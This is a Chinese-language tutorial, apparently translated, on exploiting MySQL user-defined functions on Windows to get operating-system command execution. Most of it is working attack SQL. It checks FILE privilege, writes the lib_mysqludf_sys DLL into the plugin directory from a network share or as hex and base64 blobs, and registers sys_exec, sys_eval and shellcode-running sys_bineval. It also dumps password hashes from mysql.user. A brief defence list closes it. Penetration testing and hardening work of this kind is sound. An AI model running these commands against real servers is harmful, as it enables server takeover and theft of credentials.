翻译 MySQL UDF Exploitation
字数 968 2025-08-29 08:32:02
MySQL UDF 漏洞利用技术详解
概述
MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法,特别针对MySQL 5.7版本进行了深入分析。
环境准备
-
MySQL版本确认:
select @@version_compile_os, @@version_compile_machine;确认操作系统架构和MySQL版本架构是否匹配。
-
权限检查:
select * from mysql.user where user = substring_index(user(), '@', 1);确认当前用户是否有FILE权限(可读写文件)。
-
插件目录定位:
select @@plugin_dir;从MySQL 5.0.67开始,UDF库必须放在插件目录中。
UDF库上传方法
方法一:直接加载网络共享文件
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll')
into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";
方法二:十六进制编码写入
-
生成十六进制文件:
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; -
写入目标:
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000... into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";
方法三:使用临时表分段写入
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";
方法四:Base64编码写入(MySQL 5.6.1+)
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'))
into dumpfile '/tmp/udf.b64';
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIAAABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAREAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";
UDF函数详解
1. sys_exec
- 功能:执行系统命令,不返回输出
- 安装:
create function sys_exec returns int soname 'udf.dll'; - 验证:
select * from mysql.func where name = 'sys_exec'; - 使用示例:
select sys_exec('whoami'); - 卸载:
drop function sys_exec;
2. sys_eval
- 功能:执行系统命令并返回输出
- 安装:
create function sys_eval returns string soname 'udf.dll'; - 使用示例:
select sys_eval('dir');
3. sys_get
- 功能:获取环境变量值
- 安装:
create function sys_get returns string soname 'udf.dll'; - 使用示例:
select sys_get('PATH');
4. sys_bineval(32位系统有效)
- 功能:执行shellcode
- 安装:
create function sys_bineval returns int soname 'udf.dll'; - 使用示例:
select sys_bineval(from_base64(load_file('./calc.b64')));
注意事项
-
版本兼容性:
- MySQL 5.0.67+:必须将DLL放入plugin_dir指定的目录
- MySQL 5.0.0-5.0.66:可放入系统目录(如system32)
- MySQL 4.1.25之前:可放入多个系统目录
-
密码字段变化:
- MySQL 5.6及以下:
select host, user, password from mysql.user; - MySQL 5.7+:
select host, user, authentication_string from mysql.user;
- MySQL 5.6及以下:
-
插件目录修改:
- 通过命令行参数:
mysqld.exe --plugin-dir=C:\\temp\\plugins\\ - 通过配置文件:
[mysqld] plugin_dir = C:\\temp\\plugins\\
- 通过命令行参数:
防御措施
- 限制MySQL用户的FILE权限
- 设置secure-file-priv参数限制文件读写位置
- 定期更新MySQL到最新版本
- 监控plugin目录的异常文件
- 限制MySQL服务器的网络访问
参考资源
- MySQL官方文档:CREATE FUNCTION UDF语法
- MySQL 5.6.1版本说明:新增Base64函数
- MSDN文档:Windows API参考
- Exploit-DB和Packet Storm上的相关研究
通过以上技术,安全研究人员可以测试MySQL数据库的安全性,而管理员则可以了解如何更好地保护数据库系统。